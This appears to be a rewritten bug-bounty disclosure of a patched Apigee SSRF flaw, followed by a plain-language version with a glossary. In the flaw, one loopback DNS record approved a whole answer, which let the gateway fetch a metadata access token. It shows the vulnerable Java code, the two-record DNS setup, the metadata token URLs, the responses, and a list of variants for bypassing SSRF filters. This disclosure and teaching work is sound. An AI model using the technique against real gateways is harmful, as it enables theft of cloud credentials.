The Loopback Shortcut
Apigee's outbound HTTP client approved a whole DNS answer after finding one loopback address, without validating the other addresses. An attacker could supply a hostname resolving to both a loopback address and the cloud metadata address, letting them reach the metadata service.
Published on bugs.exposed
Cloud VRP bugSWAT 2025
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Apigee is Google Cloud's API gateway. It accepts incoming requests and routes them to targets, which are often services deep inside a customer's infrastructure. That makes its outbound HTTP client a security boundary: if the client can be steered to a local or cloud-internal address, the gateway becomes an SSRF primitive.
This write-up is the first post in a Cloud VRP bugSWAT 2025 series. The researcher had reported several Apigee vulnerabilities before and used the event to look at parts of the platform they had not reviewed yet. SSRF protection was first on the list. The affected version is listed as 1-15-0-apigee-5, the issue is marked patched, and the bounty was USD 42,000, with a 2x modifier applying during the event.
A safe address-validation implementation has a simple order: parse the target, resolve its hostname, validate every returned address, and let the client connect only to addresses that passed. The same rule has to survive DNS refreshes and retries. A hostname can resolve to several IPs, and the client is free to choose any of them.
Setup
No accounts, roles or tooling beyond the researcher's own environment are described. The relevant preconditions come from the code itself:
- The target must be an HTTP target on a whitelisted port. The researcher used port 80 to test whether the branch was reachable in the managed runtime.
- The
checkLoopBacksetting must be enabled for the shortcut to apply. - The attacker needs a hostname they control that returns more than one
Arecord in a single DNS answer.
Apigee treats address validation as a security boundary elsewhere too: changing its settings required the com.apigee.changeAddressValidation permission.
Finding it
The researcher started with black-box tests. An Apigee target pointed directly at the instance metadata address was blocked. A hostname that resolved only to that address was blocked as well. The runtime returned protocol.http.NoResolvedHost before making the connection.
That showed the restriction existed, but not whether resolution, validation and connection all agreed on which address had been approved. So the researcher started at the outbound HTTP client and followed its resolver, which led to com.apigee.protocol.http.InetAddressValidator. By the time this class runs, DNS has already produced Java InetAddress objects. The validator receives all of them together with the destination port and decides whether the HTTP client may continue.
The validator exposes three methods named isValid. The HTTP client enters through the list overload, which passes the complete DNS answer to the array overload, and that method can call isValid(InetAddress, int) on each candidate. The question was whether it always does.
Following the same list through the client and its address selector produced seven steps:
- The client hands over the entire DNS answer. The resolver supplies every address for the hostname, and
HTTPClientpasses that list and the target port toInetAddressValidator(HTTPClient.java:2, 3, 5, 6). Line 3 returns a list rather than one selected address; line 6 passes the whole list and the destination port to the validator. - The list reaches the array-level check intact. The list overload converts the complete answer to an array without removing any candidate (
InetAddressValidator.java:3, 4, 5, 6, 7). Line 5 moves every resolved address into the array overload. - The array check has an early exit. If loopback checking is enabled and the port is whitelisted,
isAnyLoopBackcan make the method returntruebefore its per-address loop (InetAddressValidator.java:12, 13, 14, 15, 16). Line 13 shows the helper needs only one loopback address; line 15 shows the boolean approving the entire DNS answer. - One record satisfies the helper. With
[redacted]beside[redacted], the helper returnstruewhen it finds loopback and makes no claim about the other address (InetAddressValidator.java:28, 29, 30, 31, 32, 33, 34, 35). Line 31 ends the scan at the first loopback candidate. - The strict loop never checks the second address. Normally the loop rejects an answer if any individual address fails validation, but the earlier return prevents it from running (
InetAddressValidator.java:18, 19, 20, 21, 22, 23). Line 19 is the per-address check that gets skipped. - The client keeps the original list. The validator returns only
trueorfalse. Ontrue,HTTPClientreturns the same list it received from DNS, including the unchecked address (HTTPClient.java:5, 6, 7). Line 7 shows no filtering before the list is returned. - A later selection can pick metadata. With multiple cached candidates,
DNSCachedAddresschooses one at random and does not validate the chosen address again (DNSCachedAddress.java:14, 15, 16, 18, 19, 20, 21, 22). Line 20 selects a member from the retained address list.
The three source files behind those steps:
this.nettyClient.setDnsResolver(() -> {
List<InetAddress> addresses =
this.resolver.apply(this.providedHost.getHost());
if (InetAddressValidator.getInstance()
.isValid(addresses, this.providedHost.getPort())) {
return addresses;
}
return null;
});
public boolean isValid(List<InetAddress> addresses, int port) {
return isValid(
(InetAddress[]) addresses.toArray(new InetAddress[0]),
port
);
}
public boolean isValid(InetAddress[] addresses, int port) {
if (addresses != null) {
if (this.checkLoopBack
&& isAnyLoopBack(addresses)
&& portInWhiteList(port)) {
return true;
}
for (InetAddress inetAddress : addresses) {
if (!isValid(inetAddress, port)) {
return false;
}
}
return true;
}
return true;
}
public boolean isAnyLoopBack(InetAddress[] addresses) {
for (InetAddress inetAddress : addresses) {
if (inetAddress.isLoopbackAddress()) {
return true;
}
}
return false;
}
@Override
public ResolvedInetSocketAddress getAddress() {
checkDNSResolver();
if (this.blockedAddress) {
return null;
}
if (this.activeResolvedAddresses == null
|| this.activeResolvedAddresses.size() == 0) {
((Logger.Api) logger.atFine())
.log("Address list is empty returned null");
return null;
}
int size = this.activeResolvedAddresses.size();
if (size == 1) {
return this.activeResolvedAddresses.get(0);
}
if (size > 0) {
try {
return this.activeResolvedAddresses.get(
ThreadLocalRandom.current().nextInt(size)
);
} catch (Exception e) {
((Logger.Api) logger.atSevere()).log(
"Exception %s while resolving the address: %s",
e, this.activeResolvedAddresses
);
return null;
}
}
return null;
}
The mismatch is in what gets approved. isAnyLoopBack() needs one loopback address, while isValid(InetAddress[], int) treats its result as approval for the whole answer. HTTPClient returns that unfiltered answer. Downstream, DNSCachedAddress keeps the resolved candidates in activeResolvedAddresses and can choose an address that never passed the individual check.
Exploitation
Step 1: Prepare a hostname with two records
The researcher registered a domain they controlled and configured ll.codesent.io with two A records:
ll.codesent.io. 30 IN A [redacted]
ll.codesent.io. 30 IN A [redacted]
Both records are returned in the same DNS answer. The first satisfies isAnyLoopBack; the second points at the instance metadata service. No DNS rebinding is needed, because the approval and the malicious address arrive together.
Step 2: Create a control target and a mixed-hostname target
Two targets were created in the same proxy. The control used the metadata address directly; the other used the mixed hostname:
direct-link-local -> http://[redacted]/computeMetadata/v1/instance/service-accounts/default/token
default -> http://ll.codesent.io/computeMetadata/v1/instance/service-accounts/default/token
The proxy sent Metadata-Flavor: Google with the outbound request to the metadata endpoint.
Step 3: Confirm the control is blocked
The direct target hit the restriction already seen in the black-box tests:
HTTP/1.1 503 Service Unavailable
content-type: application/json
{
"fault": {
"faultstring": "Unable to resolve host [redacted]",
"detail": {
"errorcode": "protocol.http.NoResolvedHost",
"reason": "TARGET_CONNECT_HOST_NOT_REACHABLE"
}
}
}
Step 4: Reach the metadata service through the hostname
The hostname took the other path. When the client selected the metadata candidate from the approved list, the response was:
HTTP/1.1 200 OK
content-type: application/json
metadata-flavor: Google
{
"access_token": "[REDACTED]",
"expires_in": 2091,
"token_type": "Bearer"
}
Same restricted destination, but a completely different DNS answer, and this time Apigee connected. The response contains an access token from the metadata endpoint.
Root cause
No single method looks wrong on its own. isAnyLoopBack() answers the question in its name. isValid() returns a boolean. HTTPClient keeps the DNS result it already has. The vulnerability appears only when the same list is followed through all three decisions: one address opens the shortcut, another address uses it.
The shortcut requires checkLoopBack to be enabled and the port to be whitelisted, which is why the test used an HTTP target on port 80. The per-address validation loop that would have rejected [redacted] is skipped entirely once the early return fires, and nothing downstream re-validates the address that DNSCachedAddress picks from activeResolvedAddresses.
Impact
Under the conditions above, an attacker who can configure a target with a hostname they control can make the Apigee runtime connect to the instance metadata service and obtain an access token. The direct route to the same address is blocked, so the mixed DNS answer is what bypasses the protection. The report does not describe what the token grants beyond the metadata endpoint itself.
Fix
The report marks the issue as patched and does not describe the change. The code shows what the fix has to address: the loopback shortcut must not approve the whole DNS answer, and the address actually selected for connection must be the one that passed individual validation.
Variants to test
- Mixed answers with other internal ranges. Put a loopback record beside a private or link-local address in one answer and see whether the connection succeeds. A positive result is a
200from an internal service where the direct target returnsprotocol.http.NoResolvedHost. - Other whitelisted ports. Repeat the test on each port the whitelist accepts. A positive result is the same metadata response on a port other than 80.
- Larger answers. Return several records, only one of which is loopback, and repeat the request. Because selection is random, a positive result is an intermittent success that becomes reliable over repeated attempts.
- Other validators with early exits. Look for any validation helper whose name describes one property (loopback, private, link-local) but whose boolean is used to approve a list. A positive result is a code path where the per-item check is unreachable.
- Cached-address reuse. After a successful resolution, check whether later requests reuse the retained list without re-validating. A positive result is a connection to an address that would fail validation if resolved on its own.
What happened, in plain words
Google Cloud runs a product called Apigee. Apigee is an API gateway. To understand that, start with an API: it is a way for one piece of software to ask another piece of software to do something, over the network, in a fixed format. When you tap a button in a mobile app and the app shows you your bank balance, the app is calling an API. An API gateway sits in front of many such APIs and acts as the front door: it receives the incoming request, decides where it should go, and forwards it to the right service behind the scenes.
Those services are often deep inside a company's private network, where ordinary internet users cannot reach them. So the gateway has an outbound HTTP client: the part of the gateway that makes the second request, from the gateway to the internal service. That outbound client is a security boundary. If an attacker can trick it into connecting to a local address or a cloud-internal address instead of the intended service, the gateway turns into what security people call an SSRF primitive. SSRF stands for Server-Side Request Forgery: the server is made to send a request somewhere the attacker could not reach directly.
This write-up is the first post in a Cloud VRP bugSWAT 2025 series. VRP means Vulnerability Reward Program: a scheme where a company pays researchers for finding and reporting security bugs. bugSWAT is the name of the event. The researcher had reported several Apigee vulnerabilities before and used the event to look at parts of the platform they had not reviewed yet. SSRF protection was first on the list. The affected version is listed as 1-15-0-apigee-5, the issue is marked patched, and the bounty was USD 42,000, with a 2x modifier applying during the event.
A safe address-validation implementation has a simple order: parse the target, resolve its hostname, validate every returned address, and let the client connect only to addresses that passed. The same rule has to survive DNS refreshes and retries. A hostname can resolve to several IPs, and the client is free to choose any of them.
To unpack that: a hostname is the human-readable name of a machine, like example.com. DNS (Domain Name System) is the internet's phone book: it translates a hostname into one or more IP addresses, the numeric addresses machines actually use to talk to each other. A single hostname can have several IP addresses, and the client is allowed to pick any of them. Validation means checking each address against a list of forbidden ones before connecting. If validation checks only some of the addresses, or checks one and then lets the client pick another, the protection has a hole.
Setup
No accounts, roles or tooling beyond the researcher's own environment are described. The relevant preconditions come from the code itself:
- The target must be an HTTP target on a whitelisted port. The researcher used port 80 to test whether the branch was reachable in the managed runtime.
- The
checkLoopBacksetting must be enabled for the shortcut to apply. - The attacker needs a hostname they control that returns more than one
Arecord in a single DNS answer.
A few of those terms need explaining. A port is a numbered door on a machine; different services listen on different doors, and port 80 is the standard door for plain HTTP. A whitelist is a list of things that are explicitly allowed. An A record is a DNS entry that maps a hostname to an IPv4 address. A managed runtime is the environment the cloud provider runs the product in, as opposed to something you install yourself.
Apigee treats address validation as a security boundary elsewhere too: changing its settings required the com.apigee.changeAddressValidation permission. A permission here is a named right that a user account must hold before the system lets them change a setting. The fact that a special permission exists tells you the vendor considers this setting security-sensitive.
Finding it
The researcher started with black-box tests. Black-box means testing from the outside, without reading the code: you send inputs and watch the outputs, like pressing buttons on a sealed box. An Apigee target pointed directly at the instance metadata address was blocked. A hostname that resolved only to that address was blocked as well. The runtime returned protocol.http.NoResolvedHost before making the connection.
The instance metadata address is a special address that cloud virtual machines can reach to ask the cloud platform about themselves. It is not meant to be reachable from the public internet. The error code protocol.http.NoResolvedHost is the gateway's way of saying it refused to resolve that host.
That showed the restriction existed, but not whether resolution, validation and connection all agreed on which address had been approved. So the researcher started at the outbound HTTP client and followed its resolver. The resolver is the piece of code that takes a hostname and asks DNS for its addresses. Following it led to com.apigee.protocol.http.InetAddressValidator. That long dotted name is a Java class name: Java organises code into packages (like folders) and classes (like files of related functions). By the time this class runs, DNS has already produced Java InetAddress objects. An InetAddress is simply Java's representation of an IP address. The validator receives all of them together with the destination port and decides whether the HTTP client may continue.
The validator exposes three methods named isValid. A method is a named block of code that does one job and can be called by other code. The HTTP client enters through the list overload, which passes the complete DNS answer to the array overload, and that method can call isValid(InetAddress, int) on each candidate. An overload is when several methods share a name but take different kinds of input; Java picks the right one based on what you hand it. A list and an array are both ordered collections of items; here they hold the IP addresses from DNS. The question was whether the validator always checks each candidate individually.
Following the same list through the client and its address selector produced seven steps:
- The client hands over the entire DNS answer. The resolver supplies every address for the hostname, and
HTTPClientpasses that list and the target port toInetAddressValidator(HTTPClient.java:2, 3, 5, 6). Line 3 returns a list rather than one selected address; line 6 passes the whole list and the destination port to the validator. - The list reaches the array-level check intact. The list overload converts the complete answer to an array without removing any candidate (
InetAddressValidator.java:3, 4, 5, 6, 7). Line 5 moves every resolved address into the array overload. - The array check has an early exit. If loopback checking is enabled and the port is whitelisted,
isAnyLoopBackcan make the method returntruebefore its per-address loop (InetAddressValidator.java:12, 13, 14, 15, 16). Line 13 shows the helper needs only one loopback address; line 15 shows the boolean approving the entire DNS answer. A loopback address is the address a machine uses to refer to itself, usually[redacted]. An early exit is a return statement that ends a method before the rest of its checks run. - One record satisfies the helper. With
[redacted]beside[redacted], the helper returnstruewhen it finds loopback and makes no claim about the other address (InetAddressValidator.java:28, 29, 30, 31, 32, 33, 34, 35). Line 31 ends the scan at the first loopback candidate. - The strict loop never checks the second address. Normally the loop rejects an answer if any individual address fails validation, but the earlier return prevents it from running (
InetAddressValidator.java:18, 19, 20, 21, 22, 23). Line 19 is the per-address check that gets skipped. - The client keeps the original list. The validator returns only
trueorfalse. Ontrue,HTTPClientreturns the same list it received from DNS, including the unchecked address (HTTPClient.java:5, 6, 7). Line 7 shows no filtering before the list is returned. - A later selection can pick metadata. With multiple cached candidates,
DNSCachedAddresschooses one at random and does not validate the chosen address again (DNSCachedAddress.java:14, 15, 16, 18, 19, 20, 21, 22). Line 20 selects a member from the retained address list. Cached means stored for reuse, so the same answer can be used again later without asking DNS again.
The three source files behind those steps:
this.nettyClient.setDnsResolver(() -> {
List<InetAddress> addresses =
this.resolver.apply(this.providedHost.getHost());
if (InetAddressValidator.getInstance()
.isValid(addresses, this.providedHost.getPort())) {
return addresses;
}
return null;
});
Line by line: the first line tells the networking library (Netty) what function to use when it needs to turn a hostname into addresses. The next two lines ask the resolver for every address belonging to the hostname and store them in a list called addresses. The if then asks the validator whether that whole list is acceptable for the destination port. If the validator says yes, the client returns the list unchanged. If it says no, the client returns null, which means no addresses and therefore no connection. The important detail is that the client never removes anything from the list itself: it trusts the validator's yes or no.
public boolean isValid(List<InetAddress> addresses, int port) {
return isValid(
(InetAddress[]) addresses.toArray(new InetAddress[0]),
port
);
}
public boolean isValid(InetAddress[] addresses, int port) {
if (addresses != null) {
if (this.checkLoopBack
&& isAnyLoopBack(addresses)
&& portInWhiteList(port)) {
return true;
}
for (InetAddress inetAddress : addresses) {
if (!isValid(inetAddress, port)) {
return false;
}
}
return true;
}
return true;
}
public boolean isAnyLoopBack(InetAddress[] addresses) {
for (InetAddress inetAddress : addresses) {
if (inetAddress.isLoopbackAddress()) {
return true;
}
}
return false;
}
Line by line: the first method takes the list and simply converts it into an array, then hands the array and the port to the second method. Nothing is filtered out. The second method is the one that decides. If the array is not empty, it first checks three conditions joined by &&, which means all three must be true: loopback checking is switched on, at least one address in the array is a loopback address, and the port is on the whitelist. If all three hold, the method returns true immediately, approving the whole array. Only if that shortcut does not fire does it walk through the array one address at a time and reject the answer as soon as any single address fails the individual check. The third method, isAnyLoopBack, walks the array and returns true as soon as it finds one loopback address, without looking at the rest. Its name is accurate: it answers whether any address is loopback. The problem is that its answer is used to approve every address.
@Override
public ResolvedInetSocketAddress getAddress() {
checkDNSResolver();
if (this.blockedAddress) {
return null;
}
if (this.activeResolvedAddresses == null
|| this.activeResolvedAddresses.size() == 0) {
((Logger.Api) logger.atFine())
.log("Address list is empty returned null");
return null;
}
int size = this.activeResolvedAddresses.size();
if (size == 1) {
return this.activeResolvedAddresses.get(0);
}
if (size > 0) {
try {
return this.activeResolvedAddresses.get(
ThreadLocalRandom.current().nextInt(size)
);
} catch (Exception e) {
((Logger.Api) logger.atSevere()).log(
"Exception %s while resolving the address: %s",
e, this.activeResolvedAddresses
);
return null;
}
}
return null;
}
Line by line: this method picks which address to actually connect to. It first makes sure the DNS resolver is ready, then returns nothing if the address is marked blocked. If the stored list of resolved addresses is missing or empty, it logs that and returns nothing. If the list holds exactly one address, it returns that one. If it holds more than one, it picks one at random using ThreadLocalRandom, and if anything goes wrong during that pick it logs the error and returns nothing. Nowhere in this method is the chosen address checked against the validator again. So if the list contains an address that was never individually approved, this method can still hand it out.
The mismatch is in what gets approved. isAnyLoopBack() needs one loopback address, while isValid(InetAddress[], int) treats its result as approval for the whole answer. HTTPClient returns that unfiltered answer. Downstream, DNSCachedAddress keeps the resolved candidates in activeResolvedAddresses and can choose an address that never passed the individual check.
A useful everyday comparison: imagine a bouncer at a club who is told to check every person in a group. He sees one person he recognises as a regular, and waves the entire group through without looking at the others. Each individual check was written down correctly; the shortcut is what lets the wrong person in.
Exploitation
Step 1: Prepare a hostname with two records
The researcher registered a domain they controlled and configured ll.codesent.io with two A records:
ll.codesent.io. 30 IN A [redacted]
ll.codesent.io. 30 IN A [redacted]
Line by line: the first line says that the hostname ll.codesent.io has an A record pointing to [redacted], the loopback address. The second line says the same hostname also has an A record pointing to [redacted], the instance metadata address. The 30 is the record's time to live in seconds, meaning how long a resolver may cache it. IN means the internet class of records, which is the normal one.
Both records are returned in the same DNS answer. The first satisfies isAnyLoopBack; the second points at the instance metadata service. No DNS rebinding is needed, because the approval and the malicious address arrive together. DNS rebinding is a different trick where an attacker changes what a hostname resolves to between the check and the connection; here the attacker does not need to change anything, because both addresses are in the same answer from the start.
Step 2: Create a control target and a mixed-hostname target
Two targets were created in the same proxy. The control used the metadata address directly; the other used the mixed hostname:
direct-link-local -> http://[redacted]/computeMetadata/v1/instance/service-accounts/default/token
default -> http://ll.codesent.io/computeMetadata/v1/instance/service-accounts/default/token
Line by line: the first target, named direct-link-local, points straight at the metadata address and the path that returns a service account token. The second target, named default, points at the same path but through the hostname with two records. A control in testing is a case whose result you already expect; it proves the test setup is behaving as you think. A proxy in Apigee is the configuration that defines how incoming requests are handled and where they are sent.
The proxy sent Metadata-Flavor: Google with the outbound request to the metadata endpoint. A header is a small labelled piece of information attached to an HTTP request or response, like a note on an envelope.
Step 3: Confirm the control is blocked
The direct target hit the restriction already seen in the black-box tests:
HTTP/1.1 503 Service Unavailable
content-type: application/json
{
"fault": {
"faultstring": "Unable to resolve host [redacted]",
"detail": {
"errorcode": "protocol.http.NoResolvedHost",
"reason": "TARGET_CONNECT_HOST_NOT_REACHABLE"
}
}
}
Line by line: the first line is the status line of the response. HTTP/1.1 is the protocol version, 503 is a status code meaning the service could not handle the request, and Service Unavailable is its human-readable label. The content-type header says the body is JSON, a common text format for structured data. The body is a fault object: faultstring says the host could not be resolved, errorcode gives the machine-readable code protocol.http.NoResolvedHost, and reason gives a second code, TARGET_CONNECT_HOST_NOT_REACHABLE. In plain terms, the gateway refused to connect to the metadata address when it was written directly.
Step 4: Reach the metadata service through the hostname
The hostname took the other path. When the client selected the metadata candidate from the approved list, the response was:
HTTP/1.1 200 OK
content-type: application/json
metadata-flavor: Google
{
"access_token": "[REDACTED]",
"expires_in": 2091,
"token_type": "Bearer"
}
Line by line: 200 OK means the request succeeded. The content-type header again says the body is JSON, and metadata-flavor: Google is the metadata service's own header confirming it answered. The body contains an access_token, which is a credential the cloud platform issues so software can prove who it is when calling other services; it has been redacted here because it is a secret. expires_in says how many seconds the token remains valid, and token_type says it is a bearer token, meaning whoever holds it can use it. Same restricted destination, but a completely different DNS answer, and this time Apigee connected. The response contains an access token from the metadata endpoint. A service account is a non-human account that a machine uses to identify itself to cloud services.
Root cause
No single method looks wrong on its own. isAnyLoopBack() answers the question in its name. isValid() returns a boolean, meaning a simple true or false. HTTPClient keeps the DNS result it already has. The vulnerability appears only when the same list is followed through all three decisions: one address opens the shortcut, another address uses it.
The shortcut requires checkLoopBack to be enabled and the port to be whitelisted, which is why the test used an HTTP target on port 80. The per-address validation loop that would have rejected [redacted] is skipped entirely once the early return fires, and nothing downstream re-validates the address that DNSCachedAddress picks from activeResolvedAddresses.
Impact
Under the conditions above, an attacker who can configure a target with a hostname they control can make the Apigee runtime connect to the instance metadata service and obtain an access token. The direct route to the same address is blocked, so the mixed DNS answer is what bypasses the protection. The report does not describe what the token grants beyond the metadata endpoint itself.
Fix
The report marks the issue as patched and does not describe the change. The code shows what the fix has to address: the loopback shortcut must not approve the whole DNS answer, and the address actually selected for connection must be the one that passed individual validation.
Variants to test
- Mixed answers with other internal ranges. Put a loopback record beside a private or link-local address in one answer and see whether the connection succeeds. A positive result is a
200from an internal service where the direct target returnsprotocol.http.NoResolvedHost. A private address is one reserved for internal networks and not routable on the public internet; a link-local address is one valid only on the local network segment. - Other whitelisted ports. Repeat the test on each port the whitelist accepts. A positive result is the same metadata response on a port other than 80.
- Larger answers. Return several records, only one of which is loopback, and repeat the request. Because selection is random, a positive result is an intermittent success that becomes reliable over repeated attempts.
- Other validators with early exits. Look for any validation helper whose name describes one property (loopback, private, link-local) but whose boolean is used to approve a list. A positive result is a code path where the per-item check is unreachable.
- Cached-address reuse. After a successful resolution, check whether later requests reuse the retained list without re-validating. A positive result is a connection to an address that would fail validation if resolved on its own.
Glossary
- API: a fixed way for one piece of software to ask another to do something over a network.
- API gateway: a front door that receives incoming API requests and forwards them to the right internal service.
- Outbound HTTP client: the part of a server that makes requests out to other servers.
- SSRF (Server-Side Request Forgery): a bug where an attacker makes a server send a request to a destination the attacker cannot reach directly.
- SSRF primitive: a feature or behaviour that can be abused to perform SSRF.
- VRP (Vulnerability Reward Program): a scheme that pays researchers for reporting security bugs.
- bugSWAT: the name of the hacking event in this series.
- Bounty: the money paid for a valid report.
- Hostname: the human-readable name of a machine, such as
example.com. - DNS (Domain Name System): the internet's phone book, translating hostnames into IP addresses.
- IP address: the numeric address machines use to talk to each other.
- Resolver: the code or service that turns a hostname into IP addresses.
Arecord: a DNS entry mapping a hostname to an IPv4 address.- Time to live (TTL): how long a DNS record may be cached, in seconds.
- Port: a numbered door on a machine that a particular service listens on.
- Whitelist: a list of things explicitly allowed.
- Managed runtime: the environment the cloud provider runs the product in.
- Permission: a named right an account must hold before the system allows an action.
- Black-box testing: testing from the outside without reading the code, by sending inputs and watching outputs.
- Instance metadata address: a special cloud address a virtual machine can use to ask the platform about itself.
- Instance metadata service: the service behind that address, which can hand out information such as access tokens.
- Java class: a named unit of Java code, organised into packages.
InetAddress: Java's representation of an IP address.- Method: a named block of code that performs one job.
- Overload: several methods sharing a name but taking different kinds of input.
- List / array: ordered collections of items.
- Loopback address: the address a machine uses to refer to itself, usually
[redacted]. - Early exit: a return that ends a method before its remaining checks run.
- Boolean: a value that is either true or false.
- Cache: storage for reuse, so the same answer can be used again without asking again.
- DNS rebinding: a trick where a hostname's resolution changes between the check and the connection.
- Control: in testing, a case whose expected result you already know, used to prove the setup works.
- Proxy (Apigee): the configuration defining how incoming requests are handled and where they are sent.
- Header: a small labelled piece of information attached to an HTTP request or response.
- HTTP status code: a number in a response saying how the request went, such as
200for success or503for unavailable. - JSON: a common text format for structured data.
- Access token: a credential issued so software can prove its identity when calling other services.
- Bearer token: a token that anyone holding it can use.
- Service account: a non-human account a machine uses to identify itself to cloud services.
- Private address: an address reserved for internal networks and not routable on the public internet.
- Link-local address: an address valid only on the local network segment.
- Patched: fixed by the vendor.